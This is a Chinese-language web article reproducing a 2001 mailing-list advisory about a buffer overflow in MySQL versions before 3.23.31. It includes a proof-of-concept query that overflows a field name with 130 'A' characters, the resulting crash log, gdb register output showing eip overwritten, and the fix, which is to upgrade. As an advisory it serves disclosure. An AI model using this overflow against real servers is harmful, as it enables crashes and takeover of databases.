程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> MySQL3.23.31之前版本的安全漏洞

MySQL3.23.31之前版本的安全漏洞

編輯:關於MYSQL數據庫
所有小於 3.23.31 版本的 MySQL 都存在一個緩沖溢出漏洞導致MySQL 崩潰。使攻擊者獲得 MySQLd 權限,而可以操縱所有數據庫。攻擊的前提是必須有一個合法的登錄名和口令。



下面為最初發表於 MySQL 郵件列表的信件摘要。

==================================================


漏洞是由Jo?o Gouveia 於1月12日發現的:

步驟:


在第一個終端上啟動 MySQL:


spike:/var/mysql # /sbin/init.d/MySQL start


在另外一個終端上輸入:

jroberto@spike:~ > MySQL -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’

Enter passWord:

(沒有反應?按^C退出)


在第一台終端上會顯示:


spike:/var/mysql # /usr/bin/safe_MySQLd: line 149: 15557 Segmentation fault

nohup

$ledir/MySQLd --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

g "$@" >>$err_log 2>&1>

Number of processes running now: 0

MySQLd restarted on Fri Jan 12 07:10:54 WET 2001

MySQLd daemon ended


使用 gdb 顯示結果如下:


(gdb) run

Starting program: /usr/sbin/MySQLd

[New Thread 16897 (manager thread)]

[New Thread 16891 (initial thread)]

[New Thread 16898]

/usr/sbin/MySQLd: ready for connections

[New Thread 16916]

[Switching to Thread 16916]


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info all-registers

eax 0x1 1

ecx 0x68 104

edx 0x8166947 135686471

ebx 0x41414141 1094795585

esp 0xbf5ff408 0xbf5ff408

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x0 0

eip 0x41414141 0x41414141

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x0 0


其中的 eip 指示就是緩沖溢出了。


解決辦法就是升級到 3.23.31。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved